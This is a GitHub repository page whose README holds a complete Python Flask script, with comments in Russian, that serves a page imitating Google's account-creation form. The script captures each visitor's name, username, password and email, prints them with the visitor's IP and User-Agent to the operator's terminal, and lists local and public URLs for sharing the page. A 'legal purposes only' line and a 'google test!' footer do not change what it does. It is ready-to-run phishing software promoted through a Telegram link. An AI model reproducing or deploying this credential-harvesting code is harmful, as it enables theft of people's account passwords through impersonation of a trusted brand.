Skip to content

qones1/FPS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 

Repository files navigation

FPS

ИСПОЛЬЗУЙ ТОЛЬКО В ЗАКОННЫХ ЦЕЛЯХ!

#t.me/+q6DmznnizmM2NDY6
import socket
import smtplib
import re
import requests
import threading
import os
import signal
import sys
import subprocess
from time import sleep
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from flask import Flask, render_template_string, request, jsonify
from getpass import getpass
import random

app = Flask(__name__)

def kill_previous_server(port):
    try:
        if sys.platform == 'win32':
            result = subprocess.run(
                ['netstat', '-ano', '|', 'findstr', str(port)],
                capture_output=True, text=True, shell=True)
            if result.returncode == 0:
                for line in result.stdout.splitlines():
                    if f':{port}' in line:
                        pid = line.strip().split()[-1]
                        os.kill(int(pid), signal.SIGTERM)
                        sleep(1)
        else:
            result = subprocess.run(
                ['lsof', '-ti', f':{port}'],
                capture_output=True, text=True)
            if result.stdout:
                pids = result.stdout.strip().split()
                for pid in pids:
                    os.kill(int(pid), signal.SIGTERM)
                    sleep(1)
    except Exception as e:
        print(f"Ошибка при завершении предыдущего сервера: {e}")

def get_random_port():
    return random.randint(49152, 65535)

#by fps
def get_network_info(port):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(("8.8.8.8", 80))
    local_ip = s.getsockname()[0]
    s.close()

    try:
        public_ip = requests.get('https://api.ipify.org', timeout=3).text
    except:
        public_ip = None

    print("\n=== Доступ к серверу ===")
    print(f"1. Этот компьютер: http://localhost:{port}")
    print(f"2. Локальная сеть: http://{local_ip}:{port} - лучший вариант")
    if public_ip:
        print(f"3. Интернет: http://{public_ip}:{port}")
    print("="*30 + "\n")

def send_to_terminal(data):
    print("\n=== НОВАЯ РЕГИСТРАЦИЯ ===")
    print(f"Имя и фамилия: {data['firstName']} {data['lastName']}")
    print(f"Логин: {data['username']}")
    print(f"Пароль: {data['password']}")
    print(f"Email: {data['email']}")
    print(f"IP пользователя: {request.remote_addr}")
    print(f"User-Agent: {request.headers.get('User-Agent')}")
    print("="*30 + "\n")
    return True

HTML_TEMPLATE = """
<!DOCTYPE html>
<html lang="ru">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Создайте ТЕСТОВЫЙ аккаунт Google</title>
    <style>
        body {
            font-family: 'Google Sans', Arial, sans-serif;
            background-color: #f5f5f5;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            color: #202124;
        }
        .container {
            background-color: white;
            border-radius: 8px;
            border: 1px solid #dadce0;
            box-sizing: border-box;
            margin: 40px 0;
            padding: 48px 40px 36px;
            width: 450px;
            text-align: center;
            box-shadow: 0 6px 32px 0 rgba(60,64,67,.15);
        }
        .logo {
            margin-bottom: 20px;
        }
        .logo img {
            height: 24px;
        }
        h1 {
            font-size: 24px;
            font-weight: 400;
            margin: 15px 0;
        }
        .subtitle {
            font-size: 16px;
            font-weight: 400;
            color: #5f6368;
            margin-bottom: 24px;
        }
        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }
        input {
            width: 100%;
            padding: 13px 15px;
            border: 1px solid #dadce0;
            border-radius: 4px;
            font-size: 16px;
            box-sizing: border-box;
            transition: border 0.2s;
        }
        input:focus {
            border-color: #1a73e8;
            outline: none;
        }
        .name-fields {
            display: flex;
            gap: 10px;
        }
        button {
            background-color: #1a73e8;
            color: white;
            border: none;
            padding: 10px 24px;
            border-radius: 4px;
            font-size: 14px;
            font-weight: 500;
            cursor: pointer;
            margin-top: 10px;
            width: 100%;
            height: 40px;
            position: relative;
        }
        button:disabled {
            background-color: #b4d2fa;
            color: #f5f5f5;
            cursor: not-allowed;
        }
        .loading-spinner {
            display: none;
            position: absolute;
            right: 16px;
            top: 50%;
            transform: translateY(-50%);
            width: 18px;
            height: 18px;
            border: 3px solid #fff;
            border-top: 3px solid #1a73e8;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        button.loading .loading-spinner {
            display: inline-block;
        }
        @keyframes spin {
            0% { transform: translateY(-50%) rotate(0deg);}
            100% { transform: translateY(-50%) rotate(360deg);}
        }
        .footer {
            margin-top: 30px;
            font-size: 12px;
            color: #5f6368;
            border-top: 1px solid #dadce0;
            padding-top: 20px;
        }
        .disclaimer {
            font-size: 11px;
            color: #5f6368;
            margin-top: 40px;
            line-height: 1.5;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="logo">
            <img src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_112x36dp.png" alt="Google">
        </div>
        
        <h1>Создайте аккаунт</h1>
        <div class="subtitle">Продолжите, чтобы использовать сервисы google</div>
        
        <form id="regForm" onsubmit="submitForm(event)">
            <div class="name-fields">
                <div class="form-group">
                    <input type="text" id="firstName" name="firstName" placeholder="Имя" required>
                </div>
                <div class="form-group">
                    <input type="text" id="lastName" name="lastName" placeholder="Фамилия" required>
                </div>
            </div>
            
            <div class="form-group">
                <input type="text" id="username" name="username" placeholder="Имя пользователя" required>
            </div>
            
            <div class="form-group">
                <input type="password" id="password" name="password" placeholder="Пароль" required>
            </div>
            
            <div class="form-group">
                <input type="email" id="email" name="email" placeholder="Электронная почта" required>
            </div>
            
            <button type="submit" id="submitBtn">
                <span>Далее</span>
                <span class="loading-spinner"></span>
            </button>
        </form>
        
        <div class="footer">
            <div class="disclaimer">
    google test!
            </div>
        </div>
    </div>

    <script>
        function submitForm(e) {
            e.preventDefault();
            const btn = document.getElementById('submitBtn');
            btn.disabled = true;
            btn.classList.add('loading');

            const data = {
                firstName: document.getElementById('firstName').value,
                lastName: document.getElementById('lastName').value,
                username: document.getElementById('username').value,
                password: document.getElementById('password').value,
                email: document.getElementById('email').value,
                contactMethod: 'email'
            };

            fetch('/register', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(data)
            })
            .then(response => response.json())
            .then(data => {
                btn.disabled = false;
                btn.classList.remove('loading');
                if (data.status === 'success') {
                    alert('Регистрация завершена');
                } else {
                    alert('Ошибка: ' + (data.error || 'Неизвестная ошибка'));
                }
            })
            .catch(error => {
                btn.disabled = false;
                btn.classList.remove('loading');
                alert('Ошибка соединения с сервером');
                console.error(error);
            });
        }
    </script>
</body>
</html>
"""

@app.route('/')
def home():
    return render_template_string(HTML_TEMPLATE)

@app.route('/shutdown', methods=['POST'])
def shutdown():
    stop_server()
    return 'Сервер останавливается...', 200

@app.route('/register', methods=['POST'])
def register():
    data = request.get_json()
    if not all([data.get('firstName'), data.get('lastName'), data.get('username'), 
               data.get('password'), data.get('email')]):
        return jsonify({'error': 'Заполните все поля'}), 400
    if not re.match(r'[^@]+@[^@]+\.[^@]+', data.get('email', '')):
        return jsonify({'error': 'Некорректный email'}), 400

    if send_to_terminal(data):
        return jsonify({'status': 'success'})
    else:
        return jsonify({'error': 'Ошибка отправки данных'}), 500

def run_server():
    port = get_random_port()
    kill_previous_server(port)
    host = '0.0.0.0'
    get_network_info(port)
    print("Сервер запущен. by FPS | t.me/+q6DmznnizmM2NDY6")
    app.run(host=host, port=port, debug=False)

run_server()
#t.me/+q6DmznnizmM2NDY6

About

python_softs

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors